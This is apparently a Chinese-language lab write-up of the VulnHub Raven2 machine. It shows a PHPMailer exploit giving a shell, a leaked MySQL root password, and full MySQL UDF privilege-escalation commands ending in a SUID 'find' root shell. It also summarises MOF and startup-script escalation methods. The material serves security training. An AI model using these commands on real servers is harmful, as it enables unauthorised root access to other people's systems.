1. 程式人生 > 其它 >Raven2靶機、Mysql提權

Raven2靶機、Mysql提權

Raven2靶機、Mysql提權

Raven: 2 ~ VulnHub

資訊收集

Nmap掃埠

80埠資訊

一個.DS_Store檔案洩露(好像沒什麼用)、一個vendor資料夾和一個登陸後臺頁面

PATH中找到了flag1,同時還得到了整個網站搭建在var/www/html下

PHP版本5.2.16

又看了看SECURITY.md檔案,發現裡面記錄了PHP各個版本的漏洞情況,拿去翻譯了一下,只有第一個漏洞符合現在的PHP版本

百度一下這個漏洞是什麼,好傢伙正好還是關於這個CMS的漏洞,看了看漏洞復現,用kali查詢關於這個漏洞的exp

PHPMailer漏洞利用

KALI搜尋關於這個漏洞的exp,選擇PHPMailer小於5.2.18的,這裡我選擇了py指令碼,也就是40974.py

接著將裡面的py指令碼複製下來儲存,記得要改payload中的IP,一個攻擊目標,一個本地監聽,還要記得後門的檔名

然後按照他說的方法進行操作

這裡試了很久這個指令碼都沒執行成功,查了一下wp發現原來target是contact.php檔案,也沒有人說原因,不太懂

還有後面的後面路徑要改成var/www/html,忽略了這一點。。

但是還有一個坑!!還不能使用預設的後門名,必須要自己改名字,無語了

終於可以了,互動式shell

python -c 'import pty;pty.spawn("/bin/bash")'

翻了翻目錄,看到一個wp-config.php,果然有資料庫的賬號密碼

連線mysql

mysql -u root -p
R@v3nSecurity

 

MYSQL——UDF提權

因為我是根據mysql提權來找的靶機,所以第一時間就想到了UDF提權,作弊了

看了看使用方法這裡說要先編譯,那就在本地編譯之後上傳上去,使用scp上傳

scp [email protected]:/root/raptor_udf2.so /var/www/html

上傳了之後還是使用下面的命令,因為上面的exp路徑不一樣

use mysql;
create table foo(line blob);
insert into foo values(load_file('/var/www/html/raptor_udf2.so
')); select * from foo into dumpfile '/usr/lib/mysql/plugin/raptor_udf2.so';
create function do_system returns integer soname 'raptor_udf2.so';
select * from mysql.func;
select do_system('chmod u+s /usr/bin/find'); //當檔案被執行時,根據who引數指定的使用者型別設定檔案的setuid或者setgid許可權

接著exit退出mysql,檢視當前檔案,理論上我覺得應該選擇具有root許可權的檔案執行命令。但是好像都可以

find test.php -exec '/bin/sh' \;

過關

MYSQL——UDF提權總結

原理

udf(user defined funtion),使用者自定義函式。顧名思義,通過讓使用者自定義函式,來對mysql的功能進行擴充。udf提權將構造好的udf檔案上傳到指定目錄(mysql<5.1,放置於c:\windows\system32\目錄。mysql>5.1,放置於mysql安裝目錄下的lib\plugin目錄下,此資料夾預設不存在,需要自己建立),然後建立自定義函式,執行命令。

利用條件:

1)有寫入到目錄的許可權

2)具有資料庫root許可權

步驟

1、看版本

select version();

2、看路徑

select @@basedir;

3、在mysql安裝目錄下的lib資料夾中建立plugin檔案,並將udf檔案上傳至該目錄。

4、引入udf檔案建立自定義函式

CREATE FUNCTION [function_name] RETURNS {STRING|INTERGER|REAL} SONAME ‘shared_library_name’;

shared_library_name:表示函式從哪個檔案引入,windows為dll,linux為so

5、如果是window的話可以使用命令新增管理員組,linux的話使用find提權

6.、最後刪除自定義函式。

drop function do_system;

  

MYSQL——MOF提權

既然提到了UDF,就說說mysql的另一種提權方法,但比較少見

原理

nullevt.mof檔案是windows系統下的一個檔案,預設存放路徑為c:/windows/system32/wbem/mof/,其作用是每隔5秒鐘監控程序的建立和死亡。通過將構造好的mof檔案寫入此資料夾,每隔一段時間此檔案就會自動執行,從而完成提權。

利用條件:

1)windows 2003及以下版本

2)secure_file_priv不為null

3)具有mysql root許可權

  

MYSQL——啟動項提權

網上還看到了別的提權方式

原理

將一段vbs指令碼匯入到C:\Documents and Settings\All Users\「開始」選單\程式\啟動 目錄下,當伺服器重新啟動後,會自動執行此段指令碼執行命令

利用條件:

1)具有資料庫root許可權

2)secure_file_priv=””

 

MYSQL——反彈埠連線提權

原理

反彈埠連線提權也算是udf提權,使用特製的udf檔案構造反向埠連線函式,主動連線攻擊機。適用於一些特殊場景,例如通過網站無法獲取webshell,有了Webshell無法執行命令,有phpmyadmin和root賬號,無法查詢或者無法獲取網站的真實路徑。

利用條件:

1)有寫入到目錄的許可權

2)具有資料庫root許可權

 

參考文章

看一遍就會的mysql資料庫提權操作指南 (qq.com)